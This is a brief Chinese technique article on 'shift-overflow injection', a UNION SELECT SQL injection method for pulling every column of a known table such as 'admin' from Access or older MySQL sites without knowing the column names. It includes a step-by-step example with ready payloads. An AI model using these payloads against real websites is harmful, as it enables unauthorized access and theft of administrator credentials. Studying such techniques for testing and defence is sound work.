字段名 = 字段内容 –在p的位置爆出TALBE表中第三个字段的内容(其他位置还可能爆出更多内容) 注:这里一定是TALBE.而不是 3.1 以此类推可以爆出TALBE的每一列内容。 3.2 如果p<k则没法爆出p+1列至k列的内容,如果n-p<k则无法爆出第1列至k-(n-p)列。 原理: 1.由原语句:union select 1,2,3,..,p..,n-k,* from TABLE 可以得出该联合查询的目的是构造和原网站相同列数的查询结构,使得页面上可以显示对应的数字;这条语句相当于是做了两次查询并将它们的结果合并,第一次做了select 1,2,3,..,n-k from TALBE ,第二次做了select * from TALBE ,然后将它们的结果合并。 这可以参考mysql的语句:select 1,2,3,4,5,admin.* from admin; 2.只要满足原理1的要求,保障联合查询的结果和原网站查询的结果列数一致即可;因此可以将TALBE.*向前移动至页面显示的数字处来爆出TALBE列中的内容。 这可以参考mysql的语句: select 1,2,3,4,5,6,7,8,9,10 from newswhere id =1 union select 1,2,3,4,5,6,7,admin.* from admin; select 1,2,3,4,5,6,7,8,9,10 from newswhere id =1 union select 1,2,3,admin.*,7,8,9,10 from admin; 注:假设数字4、5在页面显示。 由下图可知,其实数据已近查询出来,但是页面没有显示,这个是通过平移查询结果到页面显示的数字上去,即可爆出敏感字段。 例子: 步骤1:判断注入点是否存在 步骤2: 步骤3:获得表名(必备条件) and exists(select * from admin) 步骤4:获取不了列名(当尝试多个常用字段名以后,最终还是发现无法获得字段名) 步骤5:使用联合查询(union select) 步骤6:使用新注入技术方法 (1)获取admin表的列数: UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,*from admin #--返回错误页面 UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,*from admin #--返回错误页面 UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,*from admin #--返回错误页面 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,*from admin #--返回错误页面 ..... UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,*from admin #--返回步骤5页面,因此admin表的列数为6 (2)由于网页中包含连续数字,表示可以显示连续的查询结果,构造SQL语句查询前四列第一行。 UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35from admin UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35from admin where id = 3 总结 在这里我们命名这种新注入技术为”移位溢注”。由此如果MYSQL小于5.0的情况下所具备的条件和ACCESS一样,也可以使用此方法注入,如果是MYSQL大于5.0的版本,使用此方法可以省去获得列名的步骤。 文章研究:gh0stkey & Seagull

2017/3/8
articleCard.readMore